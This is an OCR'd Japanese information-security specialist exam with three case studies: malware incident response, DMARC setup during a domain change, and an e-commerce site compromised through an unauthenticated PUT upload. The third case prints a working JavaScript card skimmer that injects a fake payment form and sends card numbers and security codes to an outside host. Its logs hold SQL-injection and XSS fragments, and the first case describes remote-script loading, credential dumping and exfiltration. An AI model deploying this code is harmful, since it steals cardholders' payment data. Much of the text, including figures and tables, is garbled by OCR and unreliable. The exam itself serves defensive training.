情報処理安全確保支援士 2024年 秋期 午後 問題

共通の文章

インシデントレスポンスに関する次の記述を読んで,設問に答えよ。 L社は,従業員199名のソフトウェア開発会社である。L社の社内システムは,情 報システム部(以下,情シス部という)が,運用及びインシデント対応を行ってい る。 L社は,E社のSaaSを使用している。L社のネットワーク構成を図1に,図1の各 構成要素の仕様,機能及び利用方法を表1に示す。 E社SaaS(件。|仮想環塊AN 0。)フィイィ)(フ」 プロキシ「オフィスLAN i| マルウェフ| 7 I||反想環境 |w Leh wasn fh: ||!スイッ (ミーーー gl( にニニニニーーbd「サーバLANエーーーーー| 計らEZ LED| ーーセー |ヒレーーーーーー」 「サポートLAN|。1 FW:ファイアウォールラテァップー| L3SW:レイヤー3スイッチ|リーーーーーーーーーーーーーーーーー* AP:無線LANアクセスポイント 仮想環境:物理サーバ上で仮想スイッチと複数の仮想PCを稼働させる環境 図1 L社のネットワーク構成GRE) 表1図1の各構成要素の仕様,機能及び利用方法(抜粋) ドメインサーバ・ドメイン名ad91というしL社の社内ドメインを管理する。 ・L社の各従業員には一つのドメインユーザーが割り当てられている。 ・ドメインユーザーが登録されており,プロキシサービス,メールサービ A,L社内のサーバ,仮想PC及び保守用PC(以下,L社内のサーバ,仮 想PC及び保守用PCをL社内ホストという)にログオンする際の利用者 認証に利用される。 ・ログオンは,ドメインユーザーの利用者IDとパスワードで行う。 プロキシサービス・専用のプログラム(以下,0プログラム"という)をL社内ホストにイン ストールする必要がある。Qプログラムがドメインサーバに接続され, ドメインユーザーが認証されると,利用可能になる。 ・0プログラムがインストールされたL社内ホストからインターネットへ のHTTP通信及びHTTPS通信を全て中継する。 ・HTTPS通信を復号してURLフィルタリング機能を適用し,再暗号化する ことができる。 ・URLフィルタリング機能では,ドメインユーザーごとに指定されたURLへ のアクセスを許可又は拒否することができる。 -次の3種類のリストがあり,上から順にURLフィルタリングが適用さ れる。 ・管理者許可リスト:管理者が設定できる。アクセスが許可されるURL のリストである。"全て"と記載すると,全てのURLへのアクセスが 許可される。何も設定しないとリストは無視される。 ・管理者拒否リスト:管理者が設定できる。アクセスが拒否されるURL のリストである。"全て"と記載すると,全てのURLへのアクセスが 拒否される。何も設定しないとリストは無視される。設定されたURL へのアクセスが拒否されたときは,情シス部にアラートメールが送付 されるように設定している。 ・ベンダー拒否リスト:E社から日次で提供される。アクセスが拒否さ れるURLのリストであり,マルウェア感染などのカテゴリがある。ア クセスが拒否されたURLがマルウェア感染のカテゴリに一致したとき は,情シス部にアラートメールが送付されるように設定している。 -どのリストにも該当しない場合は,アクセスは許可される。 ・管理用のWebページから,各種設定の変更と通信ログの確認ができる。 マルウェア対策サー|・L社内ホストに人導入しているマルウェア対策ソフトを管理する。 ER・管理用のWebページから,各種設定の変更,マルウェア定義ファイルの 適用状況の確認.マルウェア対策ソフトの稼働状況の確認及びマルウェ ア検知のログの確認ができる。 ・マルウェアが検知されたときは,情シス部にアラートメールが送付され る。 =3 eset 表1 Miの各構成要素の仕様,機能及び利用方法(抜粋)(続き) 仮想PC・L社の従業員には,一人1台割り当てられている。 ・従業員がシンクライアントPCからRDPで接続して利用する。 ・従業員が利用するアカウントは,ドメインユーザーであり,仮想PC上 のローカルアドミニストレーター権限をもっている。 ・各ドメインユーザーは,割り当てられた仮想PCにだけログオンできる。 ・ホスト名はPC-x 2?である。 ・マルウェア感染が確認された場合,情シス部が仮想環境の仮想スイッチ から切り離し,感染拡大を防ぐ。 ファイルサーバ-L社の顧客情報,設計書など,社外秘に指定されている情報(以下,社 外秘情報Lという)を保管する。 ・社外秘情報Lは,仮想PCには保管せずが,ファイルサーバに保管するルー ルにしている。 ・利用時はドメインサーバでの認証が必要である。 ・ホスト名はfilesvである。 保守用PC・L社内のサーバと仮想PCを保守するための専用のPCである。インシデ ント発生時は本PCで調査を行う。 ・保守用ツールのほか,ネットワークトラフィック調査及びフォレンジッ ク用のツールがインストールされている。 注りHTTP及びHTTPS通信をプロキシサービスに送り,そのログを取得する機能をもつ。 SE?xには,英大文字が1字以上入る。 [ツールの開発 情シス部のX主任とYさんは,インシデント対応時にログの調査に手間どらないよ うに,証拠データを収集するツール(以下,Fツールという)を開発することにした。 Fツールの概要を図2に示す。 男機能 ・インシデント対応時に1台の仮想PC上で,インシデント対応に必要なログ,レジストリなどの証 拠データを収集元から収集し,表2に示す出力ファイルを出力する。 ・証拠データの収集元及び保存先並びに出力ファイルの出力先は,設定ファイルで指定する。 BUA ・仮想PCが稼働しているときは,仮想PC上で実行する。 ・仮想PCが稼働していないときは,保守用PCに仮想PCのディスクイメージをコピーしてマウント し,保守用PC上で実行する。 図2 Fツールの概要(抜粋) —4ーー 表2 Fツールの出力ファイル MTR SAE ファイルの生成」SR,更新,削除及び実行のログ サービス及びタスク「の登録,削除,開始及び停止のログ auth.csv認証?の成功と失敗.アカウントの作成,特権の利用イベントログの消去など のログ プロセスごとの1時間のネットワーク送受信量の記録 file.csv,srv.csv,auth.csv,net1.csvを結合して時刻順に並べ替えたもの S$?決められたスケジュール及び指定したイベントをトリガーに実行されるプログラム 注2?対話型,ネットワーク,サービス,RDPなど,ログオンの種類も記録される。 [インシデント発生時のFツール活用]〕 12月6日,情シス部のYさんは,プロキシサービスからアラートメールを受信し た。Y SAD,アラートメールを確認したところ,PC-Aが,https://OOO.com/に アクセスしようとしてアクセスが拒否されたこと及びそのURLがベンダー拒否リスト のマルウェア感染のカテゴリに一致したことが分かり,上司のX主任に報告した。 PC-Aが割り当てられている従業員に連絡した上で,X主任は,PC-Aを一旦,仮想 スイッチから切り離してFツールを実行し,Fツールの出力ファイルとプロキシサー ビスの通信ログから,https://〇〇O〇.com/にアクセスした原因を調査するようにY さんに指示した。 PC-AでのFツールの出力ファイルのうち,time.csvを表3に,net2.csvを表4に, プロキシサービスの通信ログのうち送信元がPC-Aであるものを表5に示す。 し —_5 mee 表3 PC-Aのtime.csv(抜粋) ーー6ーー 表3 PC-Aのtime.csv(抜粋)(続き) 注記1アカウント名の表記はdomainhost\userNNNとしている。domainhostにはドメイン名又はホスト名 が,userNNNには利用者IDがそれぞれ入る。ただし,domainhostが“.”の場合は,userNNNは仮想 PCのローカルユーザーであることを示す。 注記2 12/94 22:33:25から12/05 22:34:05の間に発生したhttps://OOO.com/への接続試行ログ は省略している。 SE?マルウェア対策ソフトのサービス名である。 >Dドライブのファイルの参照ログだけである。 注?\\filesvyのファイルの参照ログだけである。 注?RDP接続の失敗ログだけである。 表4 PC-Aのnet2.csv(抜粋) ae ee ts 日時プロセスネットワーク送受信量 2706 03;05:40_[C:¥CHEB)wewersamettee[~~ 712/06 04:05:40|C:¥CHE)Yoonershett.oxe[i 注記プロセスごとの,毎時5分49秒までの1時間のネットワーク送受信量の記録である。 注!C:\(省略)\powershell.exeのネットワーク送受信量の行だけである。 ーー7ーー 表5プロキシサービスの通信ログのうち送信元がPC-Aであるもの(抜粋) |||a ポート|アクション量 番号(Mバイ ト) |204 73:34:02|sdemwser9_[https://000.con7||装っ|6 12706 02:34:08|aadi¥oserOi9_[ntps/7OOOrem/|43|旭| -| 2706 01:34:04|sgomser9|https://O00.con/|49 waa [12/06 02:34:04|addiuserdid|hetps://000.con/|eae| -| 注り一つ前のログと同じhttps://OOO.com/への許可された通信のログだけである。 【折定対策と追加調査の実施〕 X主任とYさんは,PC-Aがマルウェアに感染し,PC-A及び|a|上のファイ ルのほか,| b|上のファイルのうち,アカウントでアクセス可 能なファイルがインターネットに送信されているおそれがあると考え,図3の暫定対 策と追加調査を行った。 暫定対策 1マルウェア感染拡大とこれ以上のファイルの送信を防ぐために,ドメインサーバでアカ ウントの|gを行う。 2ファイルの送信を防ぐために,①プロキシサービスてで対策を行う。 追加調査 1表3から,PC-Aから|a|にマルウェア感染が拡大している可能性があると考えら れるので,| 』|についてPC-Aと同様の調査を行う。 2プロキシサービスのログで,PC-A。| 。|OBMKCOV ITP BRLTVS L 社内ホストがないか調査を行う。 図3暫定対策と追加調査 —_8—_ また,X主任はPC-Aの証拠データと,PC-Aの調査で収集できたi.ps1をセキュリ ティ専門会社である(社に提供し,解析を依頼した。C社の解析結果を図4に示す。 i.ps1の動作 (a)タスクを登録する。登録するタスクの設定は次のとおりである。既に同じタスク名のタス クが登録されている場合は何もしない。 タスク名:install 実行時に使うアカウント:タスク登録時に,ログオンしているアカウント 登録するスクリプトの動作:https://和信人.com/v/q.ps1をメモリ上に展開し,実行する。 タスク実行のトリガー:ログオン時に実行される。 (b)タスクを登録した後に,(a)で登録したタスクを実行する。 q.ps]の動作 解析に用いたファイルは,当社が12月6日15時に,https://和AA信人.com/v/q.ps1からダウン ロードしたものである。次は,当社が入手した田成情報を加味したものである。 (c)マルウェア対策ソフトを停止する。 (d)特定のディスク領域とネットワークドライブのファイルをRAR形式でアーカイブファイル にまとめ,https://AAA.com/v/uplを使ってアップロードする。 (e)1時間おきにhttps://〇O〇OO〇.com/にコネクトバック通信をする。 (f)(e)の通信ができない場合,リトライ通信を1回行う。リトライ通信に失敗した場合は, https://口口口.com/にコネクトバック通信をし,以降は,1時間おきにhttps://ロロロ.com/ にコネクトバック通信をする。 (9)パスワード又はパスワードハッシュをPCのメモリ上から暫取する。 (h)pingコマンドを使ってホストを探索し,RDP接続を試みる。RDP接続に失敗した場合,何も しない。 (i)RDP接続に成功すると,接続先でi.ps1の実行を試みる。 図4 C社の解析結果(概要) Yさんは図4の解析結果から,図3の追加調査の1及び2では,図4で解析したマ ルウェアが,今後,活動する可能性があるL社内ホストを見逃したおそれがあると考 えた。Yさんは③追加調査の3として,L社内ホストの全てに対して新たな調査を行 う必要があるのではないかとX主任に相談した。X主任は同意し,調査には時間が掛 かるので,調査と並行して,④図4のマルウェアの活動を自動的に検出する新たな仕 組みを作るように指示した。 この追加調査の3では,| 』|だけがマルウェアに感染した可能性があるこ とが判明し,必要な対処を行った。また,新たにマルウェアの活動は検出されなか ったので,復旧に向け対応を進めることにした。 ーー9ーー [技術的対策の立案〕 X主任とYさんは,今回と同様のマルウェア感染が起きた場合に備えて,30% 定対策以外に,攻撃者による目的実行までの活動を阻止するための技術的対策を, 表6のとおりにまとめた。 表6攻撃者による目的実行までの活動を阻止するための技術的対策 今回の攻撃者による活動技術的対策 i.ps1とq.ps1をPC-Aで実行させた。PowerShellの実行ポリシーを設定し,署名 のないスクリプトの実行を禁止する。 今後,表6中の技術的対策について,X主任とYさんが中心となって導入の計画立 案を進めることにした。 にーー:10ター

共通の文章

ドメイン名変更に関する次の記述を読んで,設問に答えよ。 A社は,従業員1,090名の工作機械製造会社である。A社の技術力は高く評価され ている。A社には,総務部,営業部,情報システム部,技術部及び製造部がある。 A社のWebサイトでは,一般向けにIR情報と関連会社へのリンクを,顧客向けに自 社製の工作機械管理用アプリケーションプログラムとそのソフトウェア修正プログ ラムを提供している。また,A社では,電子メール(UK,メールという)を用いて, 願客との間で見積書や注文書の送受信をしたり,ニュースサイトのメールマガジン に登録して最新の情報を収集したりしている。 A社のドメイン名を詐称したメールが毎週2通程度,送られていることが,多くの 顧客から報告されている。情報システム部長は,顧客に詐欺などの被害が生じるお それがあることを認識し,メールの詐称対策が必要であると考えている。 [情報システムの現状〕 A社は,10年前にドメイン名a-sha.co.jp(LAK,A社ドメイン名という)を取得 して以降,A社のWebサイト(以下,A-Webサイトという)及びメールアドレスのド メイン名として利用している。A社ドメイン名は,DNSサービス事業者であるSHO 権威DNSサービス(以下,Sサービスという)を用いて管理している。 A-Webサイトは,Webサービス事業者であるW社のWebサービス(以下,Wサービス という)を用いて提供している。 A社のネットワークを図1に,構成要素の機能を表1に示す。A社の従業員は,PC- LAN内のPCで業務を行っている。 サービス ーッ ”Iigーニーーニュrari TT ーー|ニーエー|!サーバHI |Batam ーーUM 1ニーーーーーーーニーーニーニー 注記PC-LAN内のPCの記載は省略している。 図1 A社のネットワーク(抜粋) ー12一 表1構成要素の機能(抜粋) 構成要素 メールサーバ|・S社が提供するキャッシュDNSサービスを用いて,DNS問合せを行う。 ・インターネットとの間で,SMTPを用いてメールを転送する。 ・PC-LAN及び業務サーバからSMTPを用いて送信されるメールを受信する。 ・宛先メールアドレスのドメイン名が| 。』|であるメールをメールボッ クスに格納する。 -第三者中継防止のためのルールを用いて,第三者中継を防止する。第三者中 継防止のためのルールを表2に示す。 -・メールボックス内のメールを,PC-LAN内のPCがPOP3を用いて受信できる ようにする。 表2第三者中継防止のためのルール 宛先メールアドレスのドメイン名|転送処理 po[ene Ee 注記項番が小さいルールから順に,最初に一致したルールが適用される。 [ドメイン名の変更についての検討 A社は,3か月後にZ社への社名変更を予定している。情報システム部長は,メー ルの詐称対策の導入及び社名変更に合わせたドメイン名変更を検討するように情報 システム部のN主任に指示した。N主任は情報システム部のEさんと,次のとおり検 討した。 -z-sha.co.jp(以下,Z社ドメイン名という)が過去に取得されたことがないドメ イン名であることを確認してから取得する。 ・Z社ドメイン名の管理もSサービスで行う。 ・WサービスでZ社ドメイン名のWebサイト(以下,Z-Webサイトという)も立ち上 げる。 ・図1のメールサーバでは,複数のドメイン名のメールを受信できないことから,商 用のメールサービスに移行する。 ・メールの詐称対策は,SPF,DKIM及びDMARCで対応する。 ee 13_ N主任とEさんは,Z社が送信するメールの詐称対策(以下,送信対応という)と, Z社が受信するメールの証称対策(以下,受信対応という)について方針をそれぞれ 表3と表4のとおり作成した。 表3送信対応方針 対応方針概要 1送信するメールのエンベロープFrom及びヘッダーFromのドメイン名を7社ドメイン名 とする。 2 Z社ドメイン名のメールを受信した側でSPFによる認証及びDKIMによる認証に失敗し た場合のアクションをDMARCポリシーとして定義する。 3|DMARCポリシーレコード(以下,DMARCレコードという),SPFレコード及びDKIMキー レコード(以下,DKIMレコードという)をSサービスに登録する。 送信するメールには,DKIM署名を付与する。 DMARCレポートを分析する。 顧客に,Z社は送信するメールについて,SPF,DKIM及びDMARCに対応済みであること を周知する。 表4受信対応方針 対応方針概要 受信するメールの宛先メールアドレスのドメイン名は,Z社ドメイン名とする。 顧客に,送信するメールについてSPF,DKIM及びDMARCに対応するように依頼する。 3|SPFによる認証及びDKIMによる認証を行いそのいずれかが成功した場合,DMARCの認証 が成功したものと判断し,受信する。 |4|送信元のDMARCポリシーに基づき,メールの受信,隔離又は拒否を行う。 N主任とEさんは,これまでの結果を,情報システム部長に報告し,了承を得た。 〔メールサービスの機能の検討〕 N主任とEさんは,メールサービスの機能について検討し,メールサービス事業者 であるU社のメールサービス(以下,Uサービスという)に移行することにした。U サービスの機能の概要を表5に示す。 表5 Uサービスの機能の概要(抜粋) メール転送|・-インターネットとの間は,SMTPをTLSで暗号化するを使用してメ ールを転送することができる。 ・Webブラウザを用いてメールを送受信する。 Uりサービス|・利用者アカウントの登録や削除を行う。 管理Web.送信したメールについてDMARCレポートの分析結果を参照することができる。 [Z-Webサイト及びりUサービスへの移行手順の検討〕 Eさんは,2Z-Webサイト及びUサービスへの移行手順を検討した。検討結果を,図 2及び図3にそれぞれ示す。 Web-Step1:A-Webサイトのコンテンツを全て,Z-Webサイトに同一構成で配置する。/-Webサ イトに配置したコンテンツ中のA社ドメイン名を7Z社ドメイン名に書き換える。 Web-Step2:次を1年間,実施する。 .A-Webサイトへのアクセスを,Z-Webサイトのトップページにリダイレクトする。 Web-Step3:A-Webサイトを停止する。A-Webサイト用のDNSレコードは削除する。 2 Z-Webサイトへの移行手順 Mail-Step1:試行期間として次を1か月間,実施する。 ・総務部及び情報システム部のメンバーだけが,Z社ドメイン名のメールアドレスを使用す る。 ・送信対応では,DMARCポリシーを,特定のアクションを要求しないこととし,メールを受信 してもらう。 ・受信対応では,DMARCの認証結果にかかわらず受信する。 Mai-Step2:図1のメールサーバの利用をやめ,次を3か月間,実施する。 .7社全体が.Uサービスを用いて7社ドメイン名のメールアドレスを使用する。 -7社ドメイン名でのメールの利用を顧客に文書で周知するとともに,Webサイトで周知す る。 ・A社ドメイン名宛てのメールをUサービスで受信する。 Mail-Step3:送信対応のDMARCポリシーを隔離に変更し,その6か月後,拒否に変更する。 Mail-Step4:A社ドメイン名でのメールの受信を停止する。メールサーバ用のDNSレコードは 削除する。 Mail-Step5:問題がないと確認できたら,受信対応でDMARCの処理を行う。 3 Uりサービスへの移行手順 Eさんは,2及び図3をN主任に説明し,了承を得た。 [送信対応の設定内容についての検討 Eさんは,送信対応に用いるSPFレコードを,Uサービスから提供された情報に基 づいて作成した。 次に,ESA,送信対応に用いるDKIMレコードについて検討した。Z社がUサー ビスを利用した場合,送信されるメールに付与されるDKIM-Signatureヘッダーのタ グの内容を表6に示す。 表6タグの内容(抜粋) 1タグ|由容。| La|zeeejp 10〔〈〔 Se 0、、ク、ク、〈、〈、、WW WI 表6から,①DKIMレコードの名称として使用するFQDNが決まる。Eさんは,Uサー ビスから提供された情報に基づきDKIMレコードを作成した。 最後に,Eさんは,MaiL-Step1の送信対応ではDMARCレコードを図4のとおりとす ることにした。 図4 DMARCレコード Eさんは,設定内容をまとめてN主任に報告し,了承を得た。 [A社ドメイン名の契約についての検討〕 N主任とEさんは,A社ドメイン名使用の契約を継続するか解約するかについて検 討した。解約した場合,第三者がA社ドメイン名を取得することができる。N主任と Eさんは,第三者がA社ドメイン名を取得した場合のA社ドメイン名の悪用例を検討 し,表7のとおりまとめた。 表7 A社ドメイン名の悪用例 悪用の例 Webの悪用第三者が,A社ドメイン名を用いて,現在のA-Webサイトと見た目が同 じWebサイトを立ち上げるという悪用が考えられる。さらに,第三者 が,コンテンツを細工してWebサイトの見た目を変えずに②顧客に影響 を及ぼす攻撃をすることが考えられる。 メールの送信|第三者が,メールサーバを立ち上げ,A社ドメイン名のメールアドレス を送信元メールアドレスとしてメールを送信するという悪用が考えら れる。 メールの受信|従業員が業務で用いる社外サービスがあり,メールでの連絡先とし て,A社ドメイン名のメールアドレスを登録していたとする。もし連絡 先の変更を忘れてしまうと,③第三者が,社外サービスからA社ドメイ ン名のメールアドレスへのメールを受信し,そのメールを使って続き の攻撃を行うという悪用が考えられる。 N主任とEさんは,A社ドメイン名使用の契約を継続することを情報システム部長 に報告し,承認を得た。 また,A社ドメイン名については,Mail-Step4の後で次のとおり,設定することに しがだ。 ・DMARCレコードを設定する。 ・DMARCの受信対応を行った組織がA社ドメイン名からのメールを拒否できるように する。 そのために,A社ドメイン名について,SPFレコードを図5のように設定する。 DKIMレコードは設定しない。 図5 SPFレコード [Uサービスへの移行の見直し〕 Mail-Step1において,DMARCレポートの分析結果を参照した結果,送信対応には問 題がないことが確認できた。 Mail-Step2の開始1週間後,情報システム部のEさんに営業部のHさんから,ME に示すメールの一斉配信をしても問題ないか相談があった。 1.定期的に,Z社の公式情報の周知のためのメールを一斉配信する。 2.宛先には,社内と社外のメールアドレスが含まれている。 3.一斉配信には,T社のサービス(UE,Tサービスという)を利用する計画であり,Tサービス の仕様は次のとおりである。 ・配信方法 -宛先メールアドレスは,サービス契約者が登録できる。 -宛先メールアドレスごとに個別に送信する。 ・メールのヘッダーの設定 -Fromは,サービス契約者が所属する組織が保有すするドメイン名を用いたメールアドレスだ けを設定できる。 -Told,宛先のメールアドレスからーつずつ,Tサービスが設定する。 -Subjectは,一斉配信の都度,サービス契約者が設定する。 -他のヘッダーは,Tサービスが設定する。 図6メールの一斉配信の説明 Eさんから相談を受けたN主任は,図6の一斉配信メールについて,次のとおりE さんに説明した。 ・Mail-Step3以降で,一斉配信されたメールが届かない場合がある。メールが届く ように,Mail-Step2の期間で,④表3の項番3での登録内容を見直す必要がある。 Eさんは,見直し案を作成し,N主任の了承を得てから,Hさんに問題ないことを 説明した。 Mai l-Step2の開始2週間後,情報システム部に技術部の』さんから,図7に示すメ ーリングリストを新たに利用することが可能か相談があった。 に18 Es 1.使用するメーリングリストは一つである。 2.メーリングリストの管理者は,Z社従業員である。 3.製品に関する情報交換のために,メーリングリストを使用する。 4メーリングリストの配信先となる宛先には,社内及び社外のメールアドレスを登録する(以 下,登録されたメールアドレスを登録メンバーという)。 5.登録メンバーから,メーリングリスト宛てにメールを送信できる。 6.メールサービス事業者であるY社のサービス(以下,Yサービスという)を利用する計画であ り,Yサービスの仕様は次のとおりである。 (1)メーリングリストのメールアドレスは,サービス契約者ごとに割り当てられたYサービス のメールアドレスである。ドメイン名はY社のドメイン名である。 (2)Yサービスの管理画面で設定できる項目は(3)~(6)であり,配信されるメールに反映される。 (3)エンベロープFromの設定 ・メーリングリストの管理者のメールアドレスを設定する。 (4)ヘッダーFromの設定 ・次のいずれかを選択する。 ヘッダーFrom設定1:メーリングリスト兄てに送信されたメールのヘッダーFromを使用 する。 ヘッダーFrom設定2:メーリングリストのメールアドレスを使用する。 (5)Subjectの設定 ・次のいずれかを選択する。 Subject設定1:メーリングリスト宛てに送信されたメールのSubjectを使用する。 Subject設定2:メーリングリスト宛てに送信されたメールのSubjectにメールの通番情報 を付加する。 (6)Reply-Toの設定 -・メーリングリストのメールアドレスを設定する。 (7)ヘッダーFrom,Subject及びReply-To以外のヘッダー ・メーリングリスト宛てに送信したメールのヘッダーを引き継ぐ。 (8)Authenticated Received Chain”(ARC)について ・ARCには,対応していない。 注りメールが転送される場合でも,メールの認証結果を確認できるようにする仕組みとして,RFC 8617に定義されている。 図7メーリングリストの説明 N主任は,Eさんに図8に示すとおり説明した。 ・Mail-Step3以降にZ社の従業具が送信したメールについて -ヘッダーFrom設定1とSubject設定1の組合せでは,不達の問題は起きない。 -ヘッダーFrom設定1とSubject設定2の組合せでは,⑤SPFによる認証及びDKIMによる認証 の両方に失敗することによって不達の問題が発生することがある。 -ヘッダーFrom設定2については,Z社の従業員が送信したメールであるかどうかの判定ができな いので,用いるべきではない。 -Mail-Step3以降にZ社の従業員以外が送信したメールについて (省略) 8 N主任の説明 N主任とEさんは,Jさんには,ヘッダーFronm設定1とSubject設定1の組合せを 用いるよう説明した。 その後,Z-Webサイト及びUサービスへの移行は,順調に進み,完了した。

共通の文章

クレジットカード情報の漏えいに関する次の記述を読んで,設問に答えよ。 J社は,インテリアを扱うECサイト(以下,J社のECサイトをJ社ECサイトとい う)を運営する,従業員299名の会社である。 (J社ECサイトの構成〕 J社ECサイトは,Webアプリケーションプログラム(以下,J社ECサイトのWebア プリケーションプログラムをWebアプリPEWS),Webサーバ及びDBサーバで構成 されている。J社はWebアプリPの開発及び保守,並びにWebサーバ及びDBサーバの 構築,管理及び保守をV社に委託している。WebアプリPのアプリケーションログに は,アクセス日時,画面名,アカウント名,アクセス元IPアドレスなどが記録される。 JH ECサイトでの支払方法は,クレジットカード決済及び銀行振込に対応している。 クレジットカード決済はD社の決済代行サービスを利用している。D社の提供する 決済用ECMAScriptプログラムを使用したトークン型決済を用いて,クレジットカー ド情報の非保持化を実現している。商品購入に関する画面の概要を表1に,画面遷移 を図1に示す。 表1商品購入に関する画面の概要(抜粋) ショッピングカート購入対象としてショッピングカートに登録された商品を表示する。 ショッピングカートに登録した商品を購入する場合は,“A”ボ タンを押す。配送先・支払方法選択画面に居移する。 配送先・支払方法選択|配送先住所と支払方法を選択する。配送先住所を選択し,クレジ ットカード決済と銀行振込のいずれかの支払方法を選択して,“次 A"ボタンを押す。支払手続画面に乱移する。 支払手続支払方法に応じて,表示される内容及び入力する内容が異なる。ク レジットカード決済の場合は,クレジットカード情報の入力フォー ムが表示される。D社の提供する決済用ECMAScriptプログラムによ って,決済が行われる。銀行振込の場合は,振込先の口座情報が表 示される。 注文完了ショッピングカートっ配送先・支払方法選択一支払手続が完了した 場合に表示される。この後に注文確認の電子メール2?が商品を購入 した利用者に送信される。 注?利用者情報としてあらかじめ配送先住所を登録しておく。配送先住所は複数登録できる。 登録済みの配送先住所はプルダウンで選択できる。 注?利用者情報としてあらかじめ電子メールアドレスを登録しておく。 /cart/shopping ショッピングカート配送先・支払方法選択 ご注文一覧配送先 to名CED)ピークセ 1商品1 30,0009 1 2商品2 7,5009 1、: 3商品3 15,000 1お支払方法 ©クレジットカード決済 小計52,566円〇銀行振込 配送料6円 合計52,5009 /payment/confirm 支払手続注文完了 ご利用金額 52,5009 クレジットカード情報の入力ご注文ありがとうございました。 カード番号[Cdご注文確認の電子メールをお送り 有効期限[月/[年したのでご確認ください。 名義Co ャキュリティコードレー| 注記1/cartなどはURLのパス名を示す。 注記2/cart以外へのアクセスはJ社ECサイトへのログインが必要である。 注記3/cart以外は直接アクセスするとトップページにリダイレクトされる。 図1商品購入に関する画面遷移 [利用者からの問合せ] 6月11日から12日にかけて,複数の利用者から,クレジットカード情報を入力す る画面が2回表示されるという問合せ,及び支払方法が勝手にクレジットカード決済 になってしまうという問合せがあった。J社ECサイト担当者のGさんは,偽のクレジ ットカード情報入力フォーム(以下,偽フォームという)が表示された可能性があ ると考え,上司のRさんに報告した上で,Webサーバの6月11日のアクセスログに不 審な点がないかどうかを確認した。Webサーバの6月11日のアクセスログのうち,F 審と思われるアクセスを抽出したものを表2に示す。 表2 Webサーバのアクセスログ 行番号|メソッドリクエストURIステータス コード /products/List?7page=4&category id=1 /login?id=hoge&pw=’UNION select 1 FROM… |4[Posr[7mypage/change SSSCSC~S~S~S OS |6[cer|/oroducts/list%ategory=green’s sofa|2609| /cart?add="><scr ipt>document.getElementByld(… |gs Her vert 1《・、CS [9[post[/eaynent SSー「ー「ー「ート人練 /ec-j/layeut/js7customize、js 注記1アクセス日時,User-Agent.リファラなどは省略している。 注記2リクエストURI中の“…”は省略を表す。 注記3リクエストURIは,URLデコード済みである。 Rid,アクセスログに関するRさんとGさんの会話である。 RSA:偽フォームの表示が可能な攻撃の痕跡はあったのか。 Gさん:表2の|a|行目が[|b|脆弱性を狙った攻撃だと思いますが, ぜい そういった攻撃であれば偽フォームの表示が可能です。さらに|b| 脆弱性が型であれば,1回の攻撃で多数の利用者に対して偽フ ォームの表示が可能です。 Rさん:それとは別に,表2の| d ]行目は|e|脆弱性を狙った攻撃の 痕跡だと思うが,仮にその脆弱性が存在した場合に,偽フォームの表示は 可能なのか。 GSA:WebアプリPが,DBサーバに格納している情報を基にWebページを動的に生 成していれば可能かもしれません。 RSA:承知した。その他,表2の10行目のPUTメソッドでファイルが更新されて いる点も気になる。以前,セキュリティベンダーに依頼して報告を受けて いるWebアプリPの脆弱性診断しレポートに,|b|脆弱性及び | 。|際弱性の指摘があるかどうかと,PUTメソッドによる更新はV社 によるものかどうか,V社に至急確認してほしい。 Gさんは,6月13日にV社に問い合わせた。また,最新バージョンのWebアプリP に対する脆弱性診断レポートを確認したところ,脆弱性の指摘はなかった。 〔偽フォーム表示の原因の調査と対策] 6月14日にV社から連絡があり,PUTメソッドによるファイル更新はV社によるも のではなかったことが判明した。Webサーバに設置していたECMAScriptファイルの ーつcustomize.jsが攻撃者のファイル(AK,ファイルKという)に置き換えられ ていた。customize.jsは,通常時は空のファイルであり,Webサイトのデザインを一 時的に変更する際に利用するものである。①配送先・支払方法選択画面でファイルkK が読み込まれており,HTMLの一部が書き換えられていた。この書換えによって,② 配送先・支払方法選択画面から支払手続画面への画面乱移の処理で利用しているパ ラメータの値が変更され,支払方法がクレジットカード決済に固定されていた。フ ァイルKを整形したものを図2に,配送先・支払方法選択画面のHTMLソースを図3 に示す。 =,AB寺 1:if(location.pathname==’/shopping’){ 2:let elem=document.querySelector("#shopping-form>div>div>div.order_payment >div.radio”); 3 elem,innerHTML='<p>カード番号くinput type="text”id="get number”/></p><p>有効期 限くinput type="text”id="get_exp_month”/>月/くinput type="text”id="get_exp_year” />年</p><p>名義くinput type="text”id="get_name”/></p><p>セキュリティコードく<くinpu t type="text”id="get_code”/></p><input type="hidden”name="order[Payment]”valu e="1"/>’; 4:let form=document.getElementById(’shopping-form’); 5:form.addEventListener(’submit’,function(){ 6:const req=new XMLHttpRequest(); 7:let number=document.getElementById(’get_number’).value; 8:let exp_month=document.getElementById(’get_exp_month’).value; 9:let exp_year=document.getElementByld(’get_exp_year’).value; 10:let name=document.getElementById(’get_name’).value; ak let code=document.getElementById(’get_code’).value; 12%let url=’https://i-sha,com/?num=’+number+’&exp=’+exp_month+’%2F’+ exp_year+’&name=’+name+’&code=’+code; 13:req.open(”GET”,url); 14:req.send(); 15;}); 16:} 2整形後のファイルK (省略) <form id="shopping-form”method="post”action=”"/payment”> <div class="order”> <div class="order_detail”> (省略) <div class="order_payment”> <div><h2>お支払方法く/h2>く/div> <div class=”"radio”> <input type="radio”id=”Payment_1”name="order[Payment]”required data-trigger="change” value="1"checked/> <label for="Payment_1”><span>クレジットカード決済</span></labeじ <input type="radio”id=”Payment_2”name="order[Payment]”required data-trigger="change” value="2”/> <label for="Payment 2"><span>銀行振込く/span></labe> </div> (省略) <button type="submit”class="blockBtn">次へく/button> く/form> (省略) <script src=”/ec-j/layout/js/customize.js”></script> </body> </html> 注記CSRF対策のトークンの記述は省略している。 図3配送先・支払方法選択画面のHTMLソース その後。6月16日にV社から,customize.jsの置換えについての調査結果及び対 処の報告があった。その報告を図4に示す。 ・V社でPUTメソッドに関する設定変更を6月8日18時12分に実施した。 Webサーバのファイル更新は,事前申請をした後にWebサーバにSSHで接続して行う運用で あるが,V社の作業者がSSHで接続せずにファイルを更新できるように,/ec-j/layout/js/ 配下だけ,未認証でもPUTメソッドでファイルの更新を許可する設定にした。 ・V社で6月9日9時99分から10時42分の間にJ社ECサイトのメンテナンスを実施した。 メンテナンスではPUTメソッドを使用した。 -customize.jsの置換えは6月11日13時12分に行われた。 PUTメソッドを使って,ファイルKに置き換えられた。 WebアプリPの仕様上,customize.jsの読み込みは無効にできない。 customize.js以外のファイルの置換えはなかった。 ・6月16日8時5分にPUTメソッドによるファイルの更新を禁止する設定にし,customize.js を置換え前のファイルに戻した。 ・6月16日9時99分にCache Bustingを実施した。 ファイルKのキャッシュ破葉とcustomize.jsの再読込みの二つを行わせるための変更をし 7だた。 4 V社からの調査結果及び対処の報告 